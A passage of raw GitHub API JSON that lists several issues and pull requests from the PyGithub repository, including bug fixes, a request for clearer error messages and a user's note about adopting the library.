refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Add Suppport For the [GitHub Hooks PubSubHub](http://developer.github.com/v3/repos/hooks/#pubsubhubbub)"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/133","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/133/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/133/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/133/events","html_url":"https://github.com/jacquev6/PyGithub/issues/133","id":10360280,"number":133,"title":"Fix failing get_page function","user":{"login":"llimllib","id":7150,"avatar_url":"https://secure.gravatar.com/avatar/aa7c1350d93036592f58f165318044db?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"aa7c1350d93036592f58f165318044db","url":"https://api.github.com/users/llimllib","html_url":"https://github.com/llimllib","followers_url":"https://api.github.com/users/llimllib/followers","following_url":"https://api.github.com/users/llimllib/following{/other_user}","gists_url":"https://api.github.com/users/llimllib/gists{/gist_id}","starred_url":"https://api.github.com/users/llimllib/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/llimllib/subscriptions","organizations_url":"https://api.github.com/users/llimllib/orgs","repos_url":"https://api.github.com/users/llimllib/repos","events_url":"https://api.github.com/users/llimllib/events{/privacy}","received_events_url":"https://api.github.com/users/llimllib/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":2,"created_at":"2013-01-27T22:39:17Z","updated_at":"2013-01-29T17:56:14Z","closed_at":"2013-01-29T17:56:14Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/133","diff_url":"https://github.com/jacquev6/PyGithub/pull/133.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/133.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"* if firstParams was None, PaginatedList was calling dict(None)\r\n which fails with a TypeError. If firstParams is None, just use\r\n an empty tuple, which dict() handles properly"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24/events","html_url":"https://github.com/jacquev6/PyGithub/issues/24","id":4356743,"number":24,"title":"Improve error messages on broken requests","user":{"login":"roskakori","id":328726,"avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","url":"https://api.github.com/users/roskakori","html_url":"https://github.com/roskakori","followers_url":"https://api.github.com/users/roskakori/followers","following_url":"https://api.github.com/users/roskakori/following{/other_user}","gists_url":"https://api.github.com/users/roskakori/gists{/gist_id}","starred_url":"https://api.github.com/users/roskakori/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roskakori/subscriptions","organizations_url":"https://api.github.com/users/roskakori/orgs","repos_url":"https://api.github.com/users/roskakori/repos","events_url":"https://api.github.com/users/roskakori/events{/privacy}","received_events_url":"https://api.github.com/users/roskakori/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2/labels","id":93547,"number":2,"title":"Version 1.0: coherent public interface","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":19,"state":"closed","created_at":"2012-03-08T12:22:28Z","updated_at":"2012-06-03T19:56:17Z","due_on":"2012-06-04T07:00:00Z"},"comments":3,"created_at":"2012-04-30T20:01:20Z","updated_at":"2012-05-30T19:58:35Z","closed_at":"2012-05-30T19:58:35Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/63","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/63/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/63/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/63/events","html_url":"https://github.com/jacquev6/PyGithub/issues/63","id":6583381,"number":63,"title":"PyGithub on Upverter","user":{"login":"malexw","id":577322,"avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","url":"https://api.github.com/users/malexw","html_url":"https://github.com/malexw","followers_url":"https://api.github.com/users/malexw/followers","following_url":"https://api.github.com/users/malexw/following{/other_user}","gists_url":"https://api.github.com/users/malexw/gists{/gist_id}","starred_url":"https://api.github.com/users/malexw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/malexw/subscriptions","organizations_url":"https://api.github.com/users/malexw/orgs","repos_url":"https://api.github.com/users/malexw/repos","events_url":"https://api.github.com/users/malexw/events{/privacy}","received_events_url":"https://api.github.com/users/malexw/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9/labels","id":164586,"number":9,"title":"Version 1.5","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-08-23T07:44:21Z","updated_at":"2012-09-05T17:56:28Z","due_on":"2012-09-06T07:00:00Z"},"comments":3,"created_at":"2012-08-31T16:36:04Z","updated_at":"2012-09-05T17:11:47Z","closed_at":"2012-09-05T17:11:47Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi Vincent, I wanted to let you know that we've started using PyGithub over at Upverter. You can see an example of it in action here: https://upverter.com/JBionics/a07fd2563a253ccf/Programmable-RC-Car-Controller-Arduino-Shield/\n\nUpverter is a web-based schematic capture and PCB layout tool for people who design electronics. Like github, it's free for anyone to use as long as they publish their designs with an open-source license. We let designers attach a github project to an Upverter project, and use PyGithub to pull in some basic stats about the project (including a README file), and show them on the project's main page.\n\nCheers,\nAlex"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/74","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/74/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/74/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/74/events","html_url":"https://github.com/jacquev6/PyGithub/issues/74","id":6751469,"number":74,"title":"Support clearing of issue milestone and assignee","user":{"login":"quixotique","id":1477470,"avatar_url":"https://secure.gravatar.com/avatar/806d200fb8f92bd618cc7063a3b62013?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"806d200fb8f92bd618cc7063a3b62013","url":"https://api.github.com/users/quixotique","html_url":"https://github.com/quixotique","followers_url":"https://api.github.com/users/quixotique/followers","following_url":"https://api.github.com/users/quixotique/following{/other_user}","gists_url":"https://api.github.com/users/quixotique/gists{/gist_id}","starred_url":"https://api.github.com/users/quixotique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quixotique/subscriptions","organizations_url":"https://api.github.com/users/quixotique/orgs","repos_url":"https://api.github.com/users/quixotique/repos","events_url":"https://api.github.com/users/quixotique/events{/privacy}","received_events_url":"https://api.github.com/users/quixotique/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by 